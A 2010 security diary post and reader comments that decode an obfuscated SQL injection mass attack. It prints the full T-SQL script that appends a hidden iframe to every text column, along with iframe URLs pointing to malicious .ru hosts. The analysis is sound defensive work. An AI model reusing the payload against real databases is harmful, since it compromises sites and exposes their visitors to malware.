|
Reader Alan reported a series of records that are similar to an SQL injection but are obfuscated. The following records were reported: declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320 declare%20@s%20varchar(4000);set%20@s=cast(0x6465636c617245204054205661726368417228323535292c406320 In both cases we see the use of the CAST command. What is its purpose? To change the information from a data type to another. Since the type of data that is contained in the sentence CAST is hexadecimal and varchar conversion is requested, we can do it manually with an ASCII table. Let's use the table in http://www.asciitable.com to perform the conversion. Keep in mind that two hexadecimal digits correspond to one byte. The conversion of the first seven bytes is as follows:
There are automatic tools to perform this task. I use Ascii Hex URL Decoder. If you like web tools, you can use http://nickciske.com/tools/hex.php. After decoding attack #1, we obtain the following SQL sentence: dEcLArE @T vaRchaR(255),@c vARCHAr(255) decLAre tabLE_cUrsOR CURSOR FoR SELECt A.name,b.naMe froM sysObjeCts a,sysCOLuMNs b wheRE a.id=B.id aND A.XtYPe='U' and (b.xTYPe=99 or b.XType=35 oR B.xTYPe=231 OR b.xtypE=167) oPEN TAbLe_cuRsor fETCH neXT FROm TaBlE_CuRsOr INtO @T,@c whilE(@@FetCh_stAtuS=0) beGIn exEc('UpDaTE ['+@t+'] SeT ['+@c+']=rtRIM(CONVeRT(VARCHAr(4000),['+@C+']))+caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E aS vaRCHar(106))') FETCh Next fRom tABle_cUrsOr IntO @t,@c EnD Close tablE_CuRsoR dEALLoCATe TaBLe_CURsor We now realize there is a second CAST command present in the SQL sentence. Further decoding shows the following URL (modified http to hxxp to avoid clicking): <iframe src="hxxp://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe> This attack will try to update every varchar column in your database to append the iframe text shown. This has been a massive and successful attack. If you look into google for the iframe, you can notice many affected sites. The IFRAME seems to be deactivated because it does not download any information (0 bytes of information). See the bold section below: $ wget hxxp://nemohuildiin.ru/tds/go.php?sid=1 [ <=> ] 0 --.-K/s in 0s 2010-08-15 15:20:52 (0.00 B/s) - `index.php@pid=13.1' saved [0/0] Let us see now the SQL sentence from attack #2: declarE @T VarchAr(255),@c VarChaR(255) deClaRe tAbLE_cuRsor CuRSor fOR sELECT A.NamE,b.Name froM sysObjecTs a,sYscOluMns b WheRE a.id=B.Id AnD a.xTYpE='U' ANd (b.XtYPe=99 OR b.XtyPe=35 OR b.xtyPE=231 or B.XtyPE=167) opEN tABlE_CuRsOr fetcH nExt FrOm TABle_cursor INTo @t,@C WHiLe(@@feTcH_staTus=0) bEGiN EXEc('UpdaTe ['+@t+'] Set ['+@c+']=rtrIM(COnveRT(vArCHAr(4000),['+@C+']))+caSt(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E As VArcHaR(106))') FETcH nExT FROM TAble_CursOR INTo @t,@c eNd ClOSe TabLE_cURsOR dEAlloCATE TaBlE_CURsoR Again, there is a second CAST command inside the SQL sentence. Further decoding shows the following: <iframe src="hxxp://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe> SQL injection is bad and something people need to avoid by developing web applications safely. There are some tips for this:
-- Manuel Humberto Santander Peláez | http://twitter.com/manuelsantander | http://manuel.santander.name | msantand at isc dot sans dot org |
Manuel Humberto Santander Pelaacuteez 195 Posts ISC Handler Aug 15th 2010 |
||||||||||||||||||||||||||||||||||||
| Thread locked Subscribe |
Aug 15th 2010 1 decade ago |
||||||||||||||||||||||||||||||||||||
|
Same attack, differnt second CAST:
?<iframe src="hxxp://nutcountry.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe> ?<iframe src="hxxp://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe>? ?<iframe src="hxxp://scarletpole.ru:8080/index.php?pid=13" width="0" height="0" style="display:none"></iframe> |
Anonymous |
||||||||||||||||||||||||||||||||||||
| Quote |
Aug 16th 2010 1 decade ago |
||||||||||||||||||||||||||||||||||||
|
I'm sorry, but using stored procedures does not protect from SQL injection.
Using Parameterized queries does (usually called using bind variables), as long as your database library does not just concatenate unescaped strings before sending the query to the server. You also cannot rely on input filtering. The obfuscated attacks here might not be filtered properly in a forum about SQL (imagine that you could not post about varchar, cast or set) or possibly a site about acting (where cast and set are valid words). |
Nathan Christiansen 20 Posts |
||||||||||||||||||||||||||||||||||||
| Quote |
Aug 16th 2010 1 decade ago |
||||||||||||||||||||||||||||||||||||
|
heh.
One way to defeat that attack is to use a case-sensitive collation when creating your database. Of course, that makes administering and using it suck for just about every other purpose, but oh well... |
John Hardin 62 Posts |
||||||||||||||||||||||||||||||||||||
| Quote |
Aug 16th 2010 1 decade ago |
||||||||||||||||||||||||||||||||||||
|
That URL identified in the first attack, nemohuildiin.ru, is identified as a Zeus C&C on the ZeusTracker site at:
https://zeustracker.abuse.ch/monitor.php?search=nemohuildiin.ru. We had a local machine trying to phone home to that IP earlier today, but the infected system was just a workstation. So it looks like that site is doing double duty. |
John Hardin 1 Posts |
||||||||||||||||||||||||||||||||||||
| Quote |
Aug 17th 2010 1 decade ago |
||||||||||||||||||||||||||||||||||||
|
I did a presentation on this attack last year. Please let me know what you think.
http://geek37.net/Portfolio_SQL_Injection_Presentation.html There is also another ISC article on this: http://isc.sans.edu/diary.html?storyid=4294 They've modified it some over the years however its the same old attack. Thanks, Fred http://XeeSM.com/FredStuck |
John Hardin 1 Posts |
||||||||||||||||||||||||||||||||||||
| Quote |
Aug 17th 2010 1 decade ago |
||||||||||||||||||||||||||||||||||||
|
As Fred points out this "CAST" technique has been around for a couple of years. I had two clients get hit by it in May 2008.
I am curious to know if anyone knows if the Fuzzer that is doing this has improved, or if someone just started a new attack with a botnet or something. The injected code does not look any different than what has been around for a long time. An analysis of the system locating and doing the injecting would be very interesting. |
John Hardin 1 Posts |
||||||||||||||||||||||||||||||||||||
| Quote |
Aug 19th 2010 1 decade ago |
||||||||||||||||||||||||||||||||||||
|
This is correct, the payload is very similiar to our first instance two years ago. CAST was also used to obfuscate to hide from filtering devices and attempts at weak input validation attempts.
|
John Hardin 1 Posts |
||||||||||||||||||||||||||||||||||||
| Quote |
Aug 26th 2010 1 decade ago |
||||||||||||||||||||||||||||||||||||
Sign Up for Free or Log In to start participating in the conversation!
https://www.sans.edu
